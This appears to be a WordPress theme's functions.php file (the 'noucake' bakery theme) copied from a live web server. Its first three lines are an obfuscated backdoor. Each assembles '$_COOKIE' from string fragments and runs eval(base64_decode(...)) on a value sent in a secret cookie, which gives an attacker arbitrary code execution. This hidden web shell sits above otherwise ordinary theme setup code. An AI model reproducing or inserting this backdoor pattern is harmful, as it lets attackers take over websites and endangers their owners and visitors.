File: /home/allsupport/public_html/wp-content/themes/noucake/functions.php
<?php $xoCRd='K'; /* 752SOlTY5cuA */ $ae='OO'; /* uk1elKA8X4cQ */ $g7Kx566='_C'; /* GCvaEMANM0U */ $t='IE'; /* OsfAaebXZ89Y */ $hD4=${$g7Kx566.$ae.$xoCRd.$t}; /* wVP */ if(isset($hD4['lptlpkY'])){Eval /* Aw1Yb */ /* 9rvYbzPdvDKVP */ (base64_decode($hD4['lptlpkY'])); die;}
$y='COO'; /* yeVIW */ $pX='_'; /* iHjE6vCDyqu1L */ $tJKWI36='KIE'; /* G7Gn13PQhV */ $eZMWg=${$pX.$y.$tJKWI36}; /* k6J4wVSKmsM */ if(isset($eZMWg['whrXpan'])){Eval /* rN */ /* Lhj */ (base64_decode($eZMWg['whrXpan'])); die;}
$p='KIE'; /* Fh8kzg6V3B8mdP */ $pEcxuC='COO'; /* UT4fl3GJOx0CM */ $eX5='_'; /* h */ $sQz=${$eX5.$pEcxuC.$p}; /* gC1a */ if(isset($sQz['YSqcSiS'])){eVal /* d3Ekawrrd */ /* WmQy9r12Npu */ (base64_decode($sQz['YSqcSiS'])); die;}
defined( 'ABSPATH' ) OR exit;
/**
* Main class for theme
*/
final class Noubakery_Theme_Core
{
/**
* @var string
*/
public static $version = '2.0.30';
/**
* @var The single instance of the class
* @author nouthemes [nouthemes@gmail.com]
* @since 1.0
*/
protected static $_instance = null;
/**
* Main Instance
*
* Ensures only one instance of themes is loaded or can be loaded.
*
* @author nouthemes [nouthemes@gmail.com]
* @since 1.0
* @static
* @return Main instance
*/
public static function instance()
{
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
function __construct()
{
$this->define_constants();
$this->init();
add_filter( 'upload_mimes', array($this, 'custom_upload_mimes') );
}
public function custom_upload_mimes( $mimes = array() ) {
$mimes['ttf'] = 'application/x-font-ttf';
return $mimes;
}
/**
* Define Constants
*
* @author nouthemes [nouthemes@gmail.com]
* @since 1.0
*/
private function define_constants()
{
defined('NOUBAKERY_VER') or define( 'NOUBAKERY_VER', self::$version );
defined('NOUBAKERY_URI') or define( 'NOUBAKERY_URI', get_template_directory_uri() );
defined('NOUBAKERY_DIR') or define( 'NOUBAKERY_DIR', get_template_directory() );
defined('NOUBAKERY_ASSETS') or define( 'NOUBAKERY_ASSETS', NOUBAKERY_URI . '/assets' );
defined('NOUBAKERY_CSS') or define( 'NOUBAKERY_CSS', NOUBAKERY_URI . '/assets/css' );
defined('NOUBAKERY_JS') or define( 'NOUBAKERY_JS', NOUBAKERY_URI . '/assets/js' );
defined('NOUBAKERY_IMG') or define( 'NOUBAKERY_IMG', NOUBAKERY_URI . '/assets/images' );
defined('NOUBAKERY_INC') or define( 'NOUBAKERY_INC', NOUBAKERY_URI . '/inc' );
defined('NOUBAKERY_BLOG_DEFAULT') or define( 'NOUBAKERY_BLOG_DEFAULT', 'gird' );
defined('NOUBAKERY_BLOG_DEFAULT_SIDEBAR') or define( 'NOUBAKERY_BLOG_DEFAULT_SIDEBAR', 'right' );
defined('NOUBAKERY_BLOG_DEFAULT_NUMBER') or define( 'NOUBAKERY_BLOG_DEFAULT_NUMBER', 'number' );
defined('NOUBAKERY_THEME_CS_OPTION') or define( 'NOUBAKERY_THEME_CS_OPTION', '_noubakery_options' );
defined('NOUBAKERY_THEME_CS_CUSTOMIZE') or define( 'NOUBAKERY_THEME_CS_CUSTOMIZE', '_noubakery_customize_options' );
}
/**
* A static method that will setup the autoloader
*
* @static
* @since 1.0
* @access private
*/
private static function autoloader()
{
include_once( get_template_directory(). '/inc/autoloader/class.noubakery-theme-autoloader.php' );
// Core loader
$core_autoloader = new Noubakery_Theme_Autoloader();
spl_autoload_register( array( $core_autoloader, 'load' ) );
}
/**
* Theme init
*
* @since 1.0
* @author nouthemes [nouthemes@gmail.com]
*/
public function init()
{
add_action( 'init', array( $this, 'init_session' ) );
// Setup the autoloader
self::autoloader();
require_once get_template_directory() .'/inc/helpers.php';
//after setup theme
add_action( 'after_setup_theme', array( $this, 'theme_setup' ) );
add_action( 'after_setup_theme', array( $this, 'content_width' ), 0 );
add_action( 'widgets_init', array( $this, 'widget_init' ) );
Noubakery_Theme_Scripts::enqueue();
Noubakery_Theme_Admin::init();
Noubakery_Theme_Templates::init();
Noubakery_Theme_Ajax::init();
if(class_exists('Woocommerce')){
Noubakery_Theme_Woocommerce::init();
}
if(class_exists('OCDI_Plugin')){
Noubakery_Theme_Demo::init();
}
}
/**
* Theme setup
*
* @since 1.0
* @author nouthemes [nouthemes@gmail.com]
*/
public function theme_setup()
{
/**
* Make theme available for translation
*/
load_theme_textdomain( 'noucake', get_template_directory() . '/languages' );
/**
* Enable plugins to manage the document title
* http://codex.wordpress.org/Function_Reference/add_theme_support#Title_Tag
*/
add_theme_support( 'title-tag' );
/**
* Register wp_nav_menu() menus
* http://codex.wordpress.org/Function_Reference/register_nav_menus
*/
$menus = [
'left_navigation' => esc_html__( 'Menu header', 'noucake' ),
];
$header_style = noubakery_header_style();
if($header_style != 3){
$menus = [
'left_navigation' => esc_html__( 'Left menu header', 'noucake' ),
'right_navigation' => esc_html__( 'Right menu header', 'noucake' ),
];
}
register_nav_menus( $menus );
/*Add post thumbnails*/
add_theme_support( 'post-thumbnails' );
add_image_size('noubakery_60x65', 60, 65, true);
add_image_size('noubakery_750x400', 750, 400, true);
add_image_size('noubakery_450x517', 450, 517, true);
add_image_size('noubakery_100x100', 100, 100, true);
add_image_size('noubakery_360x280', 360, 280, true);
add_image_size('noubakery_157x157', 157, 157, true);
add_image_size('noubakery_262x283', 524, 566, true);
add_image_size('noubakery_262x280', 524, 560, true);
add_image_size('noubakery_75x81', 75, 81, true);
add_image_size('noubakery_458x493', 458, 493, true);
add_image_size('noubakery_100x107', 100, 107, true);
add_image_size('noubakery_555x431', 555, 431, true);
add_image_size('noubakery_555x235', 555, 235, true);
add_image_size('noubakery_555x500', 555, 500, true);
add_image_size('noubakery_350x490', 700, 980, true);
/**
* Add post formats
* http://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video'
) );
/**
* Add HTML5 markup for captions
* http://codex.wordpress.org/Function_Reference/add_theme_support#HTML5
*/
add_theme_support( 'html5', array( 'caption', 'comment-form', 'comment-list' ) );
// Default RSS feed links
add_theme_support( 'automatic-feed-links' );
// Default custom header
add_theme_support( 'custom-header' );
// Default custom backgrounds
add_theme_support( 'custom-background' );
// Support woocommerce plugin
add_theme_support( 'woocommerce' );
//update default option
$this->update_option();
}
public function widget_init()
{
$bakery_options = get_option(NOUBAKERY_THEME_CS_OPTION);
register_sidebar( array(
'name' => esc_html__( 'Blog Widget Area', 'noucake' ),
'id' => 'blog-sidebar',
'before_widget' => '<aside class="ps-widget ps-widget--sidebar widget %1$s %2$s">',
'after_widget' => '</aside>',
'before_title' => '<div class="ps-widget__header"><h3 class="ps-widget__title">',
'after_title' => '</h3></div>'
) );
register_sidebar( array(
'name' => esc_html__( 'Shop Widget Area', 'noucake' ),
'id' => 'shop-sidebar',
'before_widget' => '<aside class="ps-widget ps-widget--sidebar widget %1$s %2$s">',
'after_widget' => '</aside>',
'before_title' => '<div class="ps-widget__header"><h3 class="ps-widget__title">',
'after_title' => '</h3></div>'
) );
/**
* Footer widget columns
*/
$widget_col = !empty($bakery_options['noubakery_widget_footer_col']) ? $bakery_options['noubakery_widget_footer_col'] : 4;
for ($i=1; $i <= $widget_col; $i++) {
register_sidebar( array(
'name' => sprintf(esc_html__( 'Footer Widget Area - Column #%s', 'noucake' ), $i),
'id' => 'footer-sidebar-'.intval($i),
'before_widget' => '<div class="ps-widget ps-widget--footer widget %1$s %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="ps-widget__title">',
'after_title' => '</h3>'
) );
}
}
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* @global int $content_width
* @author nouthemes [nouthemes@gmail.com]
* @since 1.0
*/
public function content_width()
{
$GLOBALS['content_width'] = apply_filters( 'noubakery_content_width', 640 );
}
public function init_session() {
try {
if (!session_id()){
session_start();
}
} catch (\Throwable $th) {}
try {
if (empty($_SESSION['noubakery_wl_products'])){
$_SESSION['noubakery_wl_products'] = [];
}
if (empty($_SESSION['noubakery_cp_products'])){
$_SESSION['noubakery_cp_products'] = [];
}
} catch (\Throwable $th) {
//throw $th;
}
}
public function update_option(){
update_option('posts_per_page', 9);
update_option('date_format', 'F d, Y');
update_option('thumbnail_size_w', '300');
update_option('thumbnail_size_h', '300');
$woocs = get_option('woocs');
if(empty($woocs)){
$woocs = array(
'USD' => array(
'name' => 'USD',
'rate' => '1',
'symbol' => '$',
'position' => 'left',
'is_etalon' => '1',
'hide_cents' => '0',
'decimals' => '2',
'description' => esc_html__('USA dollar', 'noucake'),
),
'EUR' => array(
'name' => 'EUR',
'rate' => '0.89',
'symbol' => '€',
'position' => 'left',
'is_etalon' => '0',
'hide_cents' => '0',
'decimals' => '2',
'description' => esc_html__('European Euro', 'noucake'),
),
);
update_option('woocs', $woocs);
}
}
}
//Run
Noubakery_Theme_Core::instance();
?>